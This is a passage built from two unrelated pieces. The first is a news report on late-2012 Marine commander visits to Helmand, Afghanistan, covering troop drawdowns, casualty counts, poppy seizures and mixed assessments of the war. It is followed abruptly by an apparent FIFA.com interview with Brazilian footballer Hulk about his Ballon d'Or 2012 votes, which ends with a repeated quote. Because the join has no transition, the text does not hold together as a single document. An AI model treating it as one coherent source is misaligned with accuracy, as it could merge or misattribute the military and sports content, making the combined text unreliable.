They also visited a fighter jet squadron from Marine Corps Air Station Miramar deployed in the Persian Gulf, among other stops.
On Christmas Day, Marine Gen. James Mattis, head of U.S. Central Command, and Marine Gen. John Allen, the top commander of NATO forces in Afghanistan, also visited Helmand.
Amos stopped in Marjah, where Marines were involved in fierce combat for much of 2010, and told troops deployed there how proud he was of progress in Helmand province.
"I have been in and out of here for four years," Amos said, according to Master Sgt. Brenda Varnadore, a Marine journalist. "It's changing for the better. This battalion has spent a lot of blood in the Marjah area. ... (But) we are going to leave this place under victory."
Afghan officials in the region are also emphasizing the bright spots as insurgents hit security posts recently taken over by Afghan troops hard.
After Christmas, the Helmand governor's office announced an intensification of their fight against the poppy trade funding the insurgency. In Lashkar Gah, police captured 64 pounds of heroin and 1,058 pounds of dry poppy, according to Governor Alhaj Mohammad Naem.
Just five pounds of heroin can fetch a street value of more than $1 million.
Also announced was the graduation of 105 Afghan police trainees and the defection of six insurgents who reportedly made peace with provincial officials, bringing the total to more than 80.
Helmand Province has been by far the deadliest province for international forces since the war began in 2001. At least 910 NATO troops have been fatally wounded there, most of them American Marines, according to icasualties.org. In 2010 during the peak of the surge of U.S. troops sent into Afghanistan and a doubling of the Marine force in Helmand, 210 were killed in one year.
In neighboring Kandahar province, another stronghold of the insurgency and the birthplace of the Taliban, 507 troops have been killed during the war. No other province in Afghanistan has had 200 or more fatalities.
Maj. Gen. Charles Gurganus and his staff from the 1st Marine Expeditionary Force out of Camp Pendleton are scheduled to transfer command in March to East Coast Marines. About 6,000 U.S. troops remain in Helmand, down from a high of more than 20,000 last year.
Much of the surge of 33,000 U.S. troops sent to Afghanistan two years ago were Marines sent to Helmand province. As the surge ended, southwestern Afghanistan also had the steepest drawdown among the NATO regional commands.
From April through September, 9,000 U.S. troops were pulled out of the region, compared with 4,500 from Kandahar and 3,000 from the eastern mountains bordering Pakistan, according to the latest report to Congress on "Progress Toward Security and Stability in Afghanistan."
Marine commanders have characterized the rapid drawdown in Helmand as a by-product of increasing security and the maturation of the Afghan army corps established there in 2010, including the addition this year of a fourth brigade.
As U.S. Marines were heading home this spring and summer, shuttering many bases or transferring them to Afghan troops, enemy-initiated attacks increased by 2 percent compared to the same period the previous year. The region accounted for 30 percent of all such attacks nationwide, about the same as before.
Eight of the 10 most violent districts nationwide were in southwestern Afghanistan, including the most violent of all — Nahr-e Saraj, which is home to less than 0.5 percent of the Afghan population but generated 11 percent of nationwide enemy attacks and 12 percent of direct fire attacks this year.
Operations by Afghan National Security forces and international allies "continued to pressure insurgent safe havens and strongholds, pushing insurgents out of the populated areas of the northern Helmand River valley." Most areas held by the insurgents two years ago are controlled now by Afghan national forces and NATO troops, the report said.
A New York Times reporter characterized the overall assessments in it as "bleak," pointing out that only one of the Afghan National Army's 23 brigades was deemed able to operate independently and that violence was higher than before the surge.
Two Brookings Institution observers, senior fellow Michael O'Hanlon and senior research assistant Ian Livingston, however, said 2012 was a year of progress and peril in Afghanistan, leaving it unclear whether the United States is winning.
Livingston and O'Hanlon noted Thursday on ForeignPolicy.com that Afghan forces are leading some 85 percent of all missions today, up from less than 40 percent a year ago; and that the capital Kabul, the most densely populated area of the country, accounts for fewer than 1 percent of all nationwide attacks — with Afghans providing most security.
A third of the U.S. force once numbering 100,000 has withdrawn. "As we prepare to ring in 2013, determining what lies ahead for Afghanistan remains a murky venture. It's a close call as to whether the good news slightly outweighs the bad, but there are certainly glimmers of hope," they wrote.

It has been quite a year for Hulk. Not only did his performances with FC Porto earn him a call-up to the Brazil side, they also secured him a high-profile move to Russian side Zenit St Petersburg.
His displays could also garner him votes for the FIFA/FIFPro World XI, a side he would pick himself to play in, as he revealed in a good-humoured chat with FIFA.com, the latest in a series of interviews with leading figures on the FIFA Ballon d'Or 2012 awards.
FIFA.com: Who in your opinion has been the player of the season?
Hulk: To my mind the best player around today is [Lionel] Messi. Barcelona have some great players and a fantastic team, which makes it easier for them to get results and for their individual qualities to shine through. Cristiano Ronaldo is a matchwinner too and scores a lot of goals. When you talk about the best player in the world it's between those two, though my vote would go to Messi.
Has Messi caught your eye more than anyone else you've played against?
Yes. He's got a great team by his side but he also does things differently. The way I see it he deserves to win again, not least because of the amazing number of goals he's scored this season. He scores more than anyone.
And who would get your vote for FIFA Men's Coach of the Year?
Picking a coach is harder because we don't see what goes on with teams on a day-to-day basis. That's why I think people always choose someone who's won a trophy, like the UEFA Champions League, because they know how hard it is to win it. So I'd vote for Roberto Di Matteo of Chelsea. I don't know if he's the best coach but you only have to look at what he achieved in taking on the job halfway through the competition, beating Barcelona and then winning it. It was a job very well done. I watched Chelsea's games, and in technical and tactical terms they played very well.
And who is in your FIFA/FIFPro World XI?
Hmm. I don't know. There are so many good players around, and friendship comes into it too (laughs). All I know is that I'd put Messi and Ronaldo in my team and eight others. I'd also have Petr Cech in goal and I'd play myself too. The three of us up there in the front line: Messi, Ronaldo and I (laughs). After that there are a lot of options, a lot of quality players.
Finally, the FIFA Puskás Award. Which goal stood out for you this year?
Well, maybe it wasn't the most stunning goal but I'd go for Ramires' cracker against Barcelona at the Camp Nou. It was a fine strike and, above all, a decisive one.
All I know is that I'd put Messi and Ronaldo in my team and eight others. I'd play myself too. The three of us up there in the front line: Messi, Ronaldo and I!
